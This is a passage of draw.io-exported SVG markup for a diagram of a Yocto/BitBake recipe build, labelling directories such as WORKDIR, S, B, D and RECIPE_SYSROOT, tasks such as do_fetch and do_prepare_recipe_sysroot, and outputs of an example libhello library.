inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">WORKDIR</font></div></div></div></foreignObject><text x="832" y="421" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">WORKDIR</text></switch></g><rect x="2923" y="2160" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 553px; margin-left: 732px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">D</font></div></div></div></foreignObject><text x="744" y="556" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">D</text></switch></g><rect x="2268" y="2160" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 553px; margin-left: 568px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">S</font></div></div></div></foreignObject><text x="580" y="556" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">S</text></switch></g><rect x="2162" y="2160" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 553px; margin-left: 542px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">B</font></div></div></div></foreignObject><text x="554" y="556" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">B</text></switch></g><rect x="1188" y="2160" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 553px; margin-left: 298px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">S</font></div></div></div></foreignObject><text x="310" y="556" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">S</text></switch></g><rect x="1835" y="2160" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 553px; margin-left: 460px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">T</font></div></div></div></foreignObject><text x="472" y="556" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">T</text></switch></g><rect x="3628" y="3160" width="200" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 48px; height: 1px; padding-top: 803px; margin-left: 908px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">libdir</font></div></div></div></foreignObject><text x="932" y="806" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">libdir</text></switch></g><rect x="3135" y="3160" width="320" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 78px; height: 1px; padding-top: 803px; margin-left: 785px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">includedir</font></div></div></div></foreignObject><text x="824" y="806" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">includedir</text></switch></g><rect x="5603.48" y="2280" width="464.52" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 114px; height: 1px; padding-top: 583px; margin-left: 1402px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">RECIPE_SYSROOT</font></div></div></div></foreignObject><text x="1459" y="586" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">RECIPE_SYSROOT</text></switch></g><path d="M 7226.86 2260 Q 7226.86 2110.29 7197.14 2110.29 Q 7167.43 2110.29 7167.49 1985.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 7167.5 1964.47 L 7176.82 1992.48 L 7167.49 1985.47 L 7158.15 1992.47 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7174" y="2260" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 578px; margin-left: 1795px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">S</font></div></div></div></foreignObject><text x="1807" y="581" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">S</text></switch></g><rect x="7068" y="2260" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 578px; margin-left: 1768px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">B</font></div></div></div></foreignObject><text x="1780" y="581" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">B</text></switch></g><rect x="7803" y="2260" width="106" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 24px; height: 1px; padding-top: 578px; margin-left: 1952px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">D</font></div></div></div></foreignObject><text x="1964" y="581" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">D</text></switch></g><rect x="5788" y="1580" width="252" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 408px; margin-left: 1448px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">WORKDIR</font></div></div></div></foreignObject><text x="1479" y="411" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">WORKDIR</text></switch></g><rect x="4640" y="3680" width="800" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 1260px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_prepare_recipe_sysroot</font></div></div></div></foreignObject><text x="1260" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_prepare_recipe_sysroot</text></switch></g><rect x="7536" y="3420" width="360" height="110" rx="16.5" ry="16.5" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 869px; margin-left: 1885px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">sayhello</div></div></div></foreignObject><text x="1929" y="872" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello</text></switch></g><rect x="4988" y="2640" width="1080" height="960" rx="144" ry="144" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 5236 2880 Q 5236 2960.57 5235.99 3014.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5235.98 3035.53 L 5226.65 3007.53 L 5235.99 3014.53 L 5245.32 3007.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5236 2880 Q 5236 2960.57 5474.86 2960.57 Q 5713.71 2960.57 5713.91 3014.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5713.98 3035.53 L 5704.55 3007.56 L 5713.91 3014.53 L 5723.22 3007.49 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5149" y="2720" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 700px; margin-left: 1288px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">usr</font></div></div></div></foreignObject><text x="1309" y="704" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">usr</text></switch></g><path d="M 5235.98 3200 L 5236 3294.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5236 3315.53 L 5226.66 3287.53 L 5236 3294.53 L 5245.33 3287.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5128.48" y="3040" width="215" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 52px; height: 1px; padding-top: 780px; margin-left: 1283px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">include</font></div></div></div></foreignObject><text x="1309" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">include</text></switch></g><path d="M 5713.71 3200 L 5713.71 3240.57 Q 5713.71 3280.57 5713.76 3287.55 L 5713.82 3294.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5713.97 3315.53 L 5704.43 3287.6 L 5713.82 3294.53 L 5723.1 3287.46 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5627" y="3040" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 780px; margin-left: 1408px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">lib</font></div></div></div></foreignObject><text x="1429" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">lib</text></switch></g><rect x="5076" y="3320" width="320" height="100" rx="15" ry="15" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 78px; height: 1px; padding-top: 843px; margin-left: 1270px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">hellolib.h</div></div></div></foreignObject><text x="1309" y="846" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">hellolib.h</text></switch></g><rect x="5468" y="3350" width="480" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 848px; margin-left: 1368px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">libhello.so.1</div></div></div></foreignObject><text x="1427" y="851" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello.so.1</text></switch></g><rect x="5468" y="3450" width="480" height="100" rx="15" ry="15" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 875px; margin-left: 1368px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">libhello.so.1.0</div></div></div></foreignObject><text x="1427" y="879" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello.so.1.0</text></switch></g><rect x="5440" y="3320" width="548" height="250" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><rect x="3880" y="1680" width="1560" height="280" fill="none" stroke="#36393d" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 455px; margin-left: 1165px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" style="font-size: 15px;">This also contains other files from other <br />dependencies. Default dependencies are:<br />basically <b style=""><u>gcc</u></b>, <b style=""><u>compilerlibs</u></b> and <b style=""><u style="">libc</u></b></font></div></div></div></foreignObject><text x="1165" y="459" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This also contains other files from other...</text></switch></g><rect x="4368" y="2280" width="510" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 126px; height: 1px; padding-top: 583px; margin-left: 1093px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">SYSROOT_DESTDIR</font></div></div></div></foreignObject><text x="1156" y="586" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">SYSROOT_DESTDIR</text></switch></g><path d="M 330 960 L 1121.58 960" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1148.58 960 L 1112.58 978 L 1121.58 960 L 1112.58 942 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><path d="M 330 1160 L 1121.58 1160" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 1148.58 1160 L 1112.58 1178 L 1121.58 1160 L 1112.58 1142 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="2" y="860" width="328" height="400" rx="49.2" ry="49.2" fill="#000000" stroke="#23445d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 80px; height: 1px; padding-top: 265px; margin-left: 1px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font color="#fcfcfc">Github</font></div></div></div></foreignObject><text x="41" y="269" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">Github</text></switch></g><rect x="535" y="900" width="320" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 240px; margin-left: 174px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_fetch<br /></font></div></div></div></foreignObject><text x="174" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_fetch&#xa;</text></switch></g><ellipse cx="475" cy="960" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 240px; margin-left: 105px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">1</b></font></div></div></div></foreignObject><text x="119" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">1</text></switch></g><rect x="535" y="1100" width="320" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 290px; margin-left: 174px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_fetch<br /></font></div></div></div></foreignObject><text x="174" y="294" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_fetch&#xa;</text></switch></g><ellipse cx="475" cy="1160" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: 